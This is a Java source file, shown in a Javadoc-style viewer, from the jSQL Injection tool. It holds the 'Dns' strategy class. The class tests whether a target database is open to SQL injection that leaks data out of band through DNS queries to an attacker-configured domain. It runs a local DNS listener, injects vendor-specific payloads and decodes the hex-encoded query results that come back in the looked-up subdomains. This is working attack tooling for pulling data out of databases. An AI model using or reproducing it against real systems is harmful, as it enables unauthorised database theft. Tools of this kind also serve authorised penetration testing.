View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    *
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   *******************************************************************************/
11  package com.jsql.model.injection.strategy;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.ResourceAccess;
15  import com.jsql.model.bean.util.Interaction;
16  import com.jsql.model.bean.util.Request;
17  import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
18  import com.jsql.model.injection.vendor.model.VendorYaml;
19  import com.jsql.model.suspendable.AbstractSuspendable;
20  import com.jsql.util.I18nUtil;
21  import com.jsql.util.LogLevelUtil;
22  import com.jsql.util.StringUtil;
23  import org.apache.commons.lang3.StringUtils;
24  import org.apache.logging.log4j.LogManager;
25  import org.apache.logging.log4j.Logger;
26  
27  import java.util.regex.Pattern;
28  
29  public class StrategyDns extends AbstractStrategy {
30  
31      private static final Logger LOGGER = LogManager.getRootLogger();
32      private BlindOperator blindOperator;
33      private final DnsServer dnsServer;
34  
35      public StrategyDns(InjectionModel injectionModel) {
36          super(injectionModel);
37          this.dnsServer = new DnsServer(injectionModel);
38      }
39  
40      @Override
41      public void checkApplicability() {
42          if (this.injectionModel.getMediatorUtils().getPreferencesUtil().isStrategyDnsDisabled()) {
43              LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
44              return;
45          } else if (
46              StringUtils.isBlank(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain())
47              || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort())
48          ) {
49              LOGGER.log(
50                  LogLevelUtil.CONSOLE_INFORM,
51                  "Incorrect domain '{}' or port '{}', skipping Dns strategy",
52                  this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain(),
53                  this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort()
54              );
55              return;
56          } else if (
57              StringUtils.isEmpty(this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getDns())
58          ) {
59              LOGGER.log(
60                  LogLevelUtil.CONSOLE_INFORM,
61                  AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
62                  this.getName(),
63                  this.injectionModel.getMediatorVendor().getVendor()
64              );
65              return;
66          }
67  
68          this.checkInjection(BlindOperator.OR);
69          this.checkInjection(BlindOperator.AND);
70          this.checkInjection(BlindOperator.STACK);
71          this.checkInjection(BlindOperator.NO_MODE);
72  
73          if (this.isApplicable) {
74              this.allow();
75          } else {
76              this.unallow();
77          }
78      }
79  
80      private void checkInjection(BlindOperator blindOperator) {
81          if (this.isApplicable) {
82              return;
83          }
84          this.blindOperator = blindOperator;
85          LOGGER.log(
86              LogLevelUtil.CONSOLE_DEFAULT,
87              "{} [{}] with [{}]...",
88              () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
89              this::getName,
90              () -> blindOperator
91          );
92          String vendorSpecificWithOperator = this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
93              String.format(
94                  "(select concat('', %s))",
95                  this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(VendorYaml.INDICE, "1")
96              ),
97              "1",
98              blindOperator,
99              false
100         );
101 
102         new Thread(this.dnsServer::listen).start();
103         this.injectionModel.injectWithoutIndex(vendorSpecificWithOperator, "dns#confirm");
104         this.waitDnsResponse(2500);
105 
106         var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
107         this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
108             s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
109         );
110         if (this.isApplicable) {
111             this.dnsServer.getResults().clear();
112             LOGGER.log(
113                 LogLevelUtil.CONSOLE_SUCCESS,
114                 "{} [{}] with [{}]",
115                 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
116                 this::getName,
117                 this.blindOperator::name
118             );
119         } else {
120             this.dnsServer.close();
121         }
122     }
123 
124     @Override
125     public void allow(int... i) {
126         this.injectionModel.appendAnalysisReport(
127             StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
128             + this.injectionModel.getReportWithoutIndex(
129                 this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
130                     StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
131                     "1",
132                     this.blindOperator,
133                     true
134                 ),
135                 "metadataInjectionProcess",
136                 null
137             )
138         );
139         this.markVulnerability(Interaction.MARK_DNS_VULNERABLE);
140     }
141 
142     @Override
143     public void unallow(int... i) {
144         this.markVulnerability(Interaction.MARK_DNS_INVULNERABLE);
145     }
146 
147     @Override
148     public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
149         new Thread(() -> this.injectionModel.injectWithoutIndex(
150             this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
151                 sqlQuery,
152                 startPosition,
153                 this.blindOperator,
154                 false
155             ),
156             metadataInjectionProcess
157         )).start();
158         this.waitDnsResponse(5000);
159 
160         String result = this.dnsServer.getResults().get(0);
161         var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
162         String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
163         var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
164         if (matcherSql.find()) {
165             result = matcherSql.group(1);
166         } else {
167             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
168         }
169         this.dnsServer.getResults().clear();
170         return StringUtil.fromHex(result);
171     }
172 
173     private void waitDnsResponse(int maxTime) {
174         int currentTime = 0;
175         while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
176             try {
177                 int waitTime = 250;
178                 Thread.sleep(waitTime);
179                 currentTime += waitTime;
180             } catch (InterruptedException e) {
181                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
182                 Thread.currentThread().interrupt();
183             }
184         }
185         if (currentTime > maxTime) {
186             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
187         }
188     }
189 
190     @Override
191     public void activateWhenApplicable() {
192         if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
193             LOGGER.log(
194                 LogLevelUtil.CONSOLE_INFORM,
195                 "{} [{}] with [{}]",
196                 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
197                 this::getName,
198                 this.blindOperator::name
199             );
200             this.injectionModel.getMediatorStrategy().setStrategy(this);
201 
202             var request = new Request();
203             request.setMessage(Interaction.MARK_DNS_STRATEGY);
204             this.injectionModel.sendToViews(request);
205         }
206     }
207     
208     @Override
209     public String getPerformanceLength() {
210         return VendorYaml.DEFAULT_CAPACITY;
211     }
212     
213     @Override
214     public String getName() {
215         return "Dns";
216     }
217 }